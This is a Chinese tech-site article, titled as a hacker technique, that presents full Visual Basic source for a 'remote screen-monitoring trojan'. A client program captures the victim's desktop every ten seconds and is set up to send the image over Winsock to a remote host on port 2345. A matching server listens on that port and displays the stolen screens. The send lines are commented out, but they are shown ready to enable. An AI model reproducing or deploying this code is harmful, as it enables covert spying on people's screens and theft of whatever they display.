赛迪网 > IT技术 IT技术关注 > 文章
  IT资讯搜索
 
IT产品搜索
[程序开发][网管世界][网络安全][数据库技术]
[操作系统][嘉宾聊天·在线访谈][活动集锦]
[精彩专题][Symantec专区][订阅IT技术周刊]
[开发论坛][网管论坛][安全论坛][数据库论坛]
[操作系统论坛][Sybase专区][IBM dW技术专区]
[病毒求助][病毒与漏洞播报][文档·源码下载]

黑客技巧之用VB打造远程屏幕监控木马

发布时间:2007.01.18 05:10     来源:赛迪网安全社区    作者:lvvl
















本程序思路是通过定时截取屏幕图形,来作为被控端。源码如下所示:

Option Explicit
Private Type BITMAP
    bmType As Long
    bmWidth As Long
    bmHeight As Long
    bmWidthBytes As Long
    bmPlanes As Integer
    bmBitsPixel As Integer
    bmBits As Long
End Type
Private Declare Function GetObj Lib "gdi32" Alias "GetObjectA" (ByVal hObject As Long, 
ByVal nCount As Long, lpObject As Any) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hdc As Long) 
As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, 
ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal
 xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Sub CopyMemory Lib "Kernel32" Alias "RtlMoveMemory" (Destination As Any, 
Source As Any, ByVal Length As Long)
Private Declare Function GetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount 
As Long, lpBits As Any) As Long
Private Declare Function SetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount 
As Long, lpBits As Any) As Long
Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal 
nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As 
Long) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private MyHdc1 As Long, MyBmp1 As Long, MyOldBmp1 As Long, ScrW As Long, ScrH As Long
Private StartT As Single
Private Sub Form_Load()
  Dim bm As BITMAP, BmpSize As Long
  Timer1.Enabled = False   '间隔时间获取图形
  Me.ScaleMode = 3
  ScrW = Screen.Width \ Screen.TwipsPerPixelX
  ScrH = Screen.Height \ Screen.TwipsPerPixelY
  '这只是方便调试的示例,实用程序中,不用临时DC,可直接取窗体的BMP,会快一些
  MyHdc1 = CreateCompatibleDC(FrmClient.hdc)
  MyBmp1 = CreateCompatibleBitmap(FrmClient.hdc, ScrW, ScrH)
  MyOldBmp1 = SelectObject(MyHdc1, MyBmp1)
  'Ws2为WinSock控件,用于发送数据   
  'Ws2.RemoteHost = InputBox("请输入远程服务器ip地址", "远程监控测试", "127.0.0.1")
  'Ws2.RemotePort = 2345
  'Ws2.Connect
  Timer1.Interval = 10000
  Timer1.Enabled = True
End Sub
Private Sub Form_Unload(Cancel As Integer)
  'Ws2.Close
  SelectObject MyHdc1, MyOldBmp1
  DeleteObject MyBmp1
  DeleteDC MyHdc1
End Sub
Private Sub Timer1_Timer()
  Dim i As Long, d As Long, b As Long, bm As BITMAP, dat() As Byte, BmpSize As Long
  StartT = Timer
  d = GetDesktopWindow
  i = GetDC(d)
  BitBlt MyHdc1, 0, 0, ScrW, ScrH, i, 0, 0, vbSrcCopy
  ReleaseDC d, i
  GetObj MyBmp1, Len(bm), bm
  BmpSize = bm.bmWidthBytes * bm.bmHeight
  ReDim dat(BmpSize - 1)
  GetBitmapBits MyBmp1, BmpSize, dat(0)
  ReDim Preserve dat(BmpSize + 1)
  dat(BmpSize) = 13
  dat(BmpSize + 1) = 10
  'StartT = Timer
  'Ws2.SendData dat
  Debug.Print dat     'dat为获取到的屏幕图形数据
End Sub
Private Sub Ws2_Close()
  StatusBar1.SimpleText = Ws2.RemoteHost & " Disconnected.."
  Ws2.Close
End Sub
Private Sub Ws2_Connect()
  StatusBar1.SimpleText = Ws2.RemoteHost & " Connected.."
End Sub
Private Sub Ws2_Error(ByVal Number As Integer, Description As String, ByVal Scode As 
Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, 
CancelDisplay As Boolean)
  On Error Resume Next
  StatusBar1.SimpleText = Ws2.RemoteHost & " Error : " & Description
  Ws2.Close
End Sub


'=============================================================
'项目名称:   Server (远程屏幕监控端)
'窗口名称:   FrmServer
'WinSock控件:Ws1
'StatusBar控件:StatusBar1 (注意:StatusBar1.Style = sbrSimple)
'=============================================================


Option Explicit
Private Type BITMAP
    bmType As Long
    bmWidth As Long
    bmHeight As Long
    bmWidthBytes As Long
    bmPlanes As Integer
    bmBitsPixel As Integer
    bmBits As Long
End Type
Private Declare Function GetObj Lib "gdi32" Alias "GetObjectA" (ByVal hObject As Long, 
ByVal nCount As Long, lpObject As Any) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hdc As Long) 
As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, 
ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal
 xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Sub CopyMemory Lib "Kernel32" Alias "RtlMoveMemory" (Destination As Any, 
Source As Any, ByVal Length As Long)
Private Declare Function GetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount 
As Long, lpBits As Any) As Long
Private Declare Function SetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount 
As Long, lpBits As Any) As Long
Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal 
nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As 
Long) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private ScrW As Long, ScrH As Long
Private MyHdc As Long, MyBmp As Long, MyOldBmp As Long, BmpDat() As Byte, RevByte As Long
Private StartT As Single
Private Sub Form_Load()
  Dim bm As BITMAP, BmpSize As Long
  
  On Error GoTo ErrLoad
  
  Me.ScaleMode = 3
  ScrW = Screen.Width \ Screen.TwipsPerPixelX
  ScrH = Screen.Height \ Screen.TwipsPerPixelY
  '这只是方便调试的示例,实用程序中,不用临时DC,可直接取窗体的BMP,会快一些
  MyHdc = CreateCompatibleDC(FrmServer.hdc)
  MyBmp = CreateCompatibleBitmap(FrmServer.hdc, ScrW, ScrH)
  MyOldBmp = SelectObject(MyHdc, MyBmp)
    
  GetObj MyBmp, Len(bm), bm
  BmpSize = bm.bmWidthBytes * bm.bmHeight
  ReDim BmpDat(BmpSize - 1)
  GetBitmapBits MyBmp, BmpSize, BmpDat(0)
  WS1.LocalPort = 2345
  WS1.Listen
  
  Exit Sub
  
ErrLoad:
  MsgBox Error
End Sub
Sub getscreen()
End Sub
Private Sub Form_Unload(Cancel As Integer)
  On Error Resume Next
  WS1.Close
  SelectObject MyHdc, MyOldBmp
  DeleteObject MyBmp
  DeleteDC MyHdc
End Sub
Private Sub WS1_Close()
  StatusBar1.SimpleText = WS1.RemoteHostIP & " Disconnected.."
  WS1.Close
  If WS1.State = sckListening Then
    WS1.Close
  Else
    WS1.LocalPort = 2345
    WS1.Listen
  End If
End Sub
Private Sub Ws1_ConnectionRequest(ByVal requestID As Long)
  If WS1.State <> sckClosed Then WS1.Close
  StatusBar1.SimpleText = WS1.RemoteHostIP & " Connecting.."
  WS1.Accept requestID
  If WS1.State = 7 Then StatusBar1.SimpleText = WS1.RemoteHostIP & " Connected.."
End Sub
Private Sub Ws1_DataArrival(ByVal bytesTotal As Long)
  Dim dat() As Byte, i As Long, nTime As Long
  
  On Error Resume Next
  
  WS1.GetData dat, vbArray Or vbByte
  i = InStrB(1, dat, ChrB(13) & ChrB(10))
  If i > 0 Then
    'StartT = Timer
    If i > 1 Then CopyMemory BmpDat(RevByte), dat(0), i - 1
    SetBitmapBits MyBmp, UBound(BmpDat) + 1, BmpDat(0)
    RevByte = 0
    '实用程序中,不用临时DC,下面一步可省
    BitBlt Me.hdc, 0, 0, Me.ScaleWidth, Me.ScaleHeight, MyHdc, 0, 0, vbSrcCopy
    nTime = Timer - Val(Me.Caption)
    Me.Caption = Timer - StartT
    If Len(StatusBar1.SimpleText) < 255 Then
        StatusBar1.SimpleText = nTime & "," & StatusBar1.SimpleText
    Else
        StatusBar1.SimpleText = nTime
    End If
    If bytesTotal > i + 1 Then
        RevByte = bytesTotal - i - 1
        CopyMemory BmpDat(0), dat(i + 1), RevByte
    End If
  Else
    CopyMemory BmpDat(RevByte), dat(0), bytesTotal
    RevByte = RevByte + bytesTotal
  End If
  
End Sub
Private Sub WS1_Error(ByVal Number As Integer, Description As String, ByVal Scode As 
Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, 
CancelDisplay As Boolean)
  StatusBar1.SimpleText = ("Error : " & Description)
End Sub

(t003)


[ 发表评论 ] 字体[  ] [ 打印 ] [ 进入博客 ] [ 进入论坛 ]  [ 推荐给朋友 ]
  相关文章
· 系统安全知识 用VB编写一个加密软件 (01-17) · 教你防御网络游戏外挂暗藏木马全攻略 (01-17)
· 两下载木马同日现身 用户需高度警惕 (01-17) · 黑客谈之对一刷网站访问量的小马分析 (01-11)
· 修改注册表权限加强对木马病毒的防范 (01-10) · WindowsXP下远程控制关机的另类木马 (01-10)
· 教你防黑之小心防范RM,WMV木马的方法 (01-10) · 黑客基础知识系列之认清木马的原理 (01-04)
· 看清木马藏身地 学会通用排查技术 (01-04) · 休闲聊天轻轻松松避开网络木马的攻击 (12-29)
  客户需求反馈表
* 姓  名:
更多资料  了解方案  认识厂商
* 单位名称:
* 联系电话:
* 电子邮件:
  赛迪推荐  
  手机·资费 ·新品·导购·评测·手机资费·宽带
手机搜索  诺基亚 N73 MOTO Z6
  IT产品 ·笔记本·台式机·服务器·打印·投影
IT产品搜索 
  IT技术 ·开发·网管·安全·数据库·操作系统
  信息化 ·热点·专题·访谈·周刊·方案案例
[政务][电信][金融][农业][制造业][中小企业]
[CIO][ERP][协同][IT管理][中间件][电子商务]
[政策][地方][专家][评估][辞典][博客][社区]
· 专题:一路畅通构想曲——让出行不再遭遇堵车
· CIO工作亲历:企业ERP选型不能忽视"选人关"
· 综述:信息化建设给中国监狱带来的各种变化
· 金融业风险管理和法规遵从有五点需考虑的因素
· 保险业CIO关注:该如何建立统一高效的CRM体系
· 调查显示:多数CIO对IT规划仍存在困惑和误解
  博客·论坛 ·曾剑秋·项立刚·Java学习·网管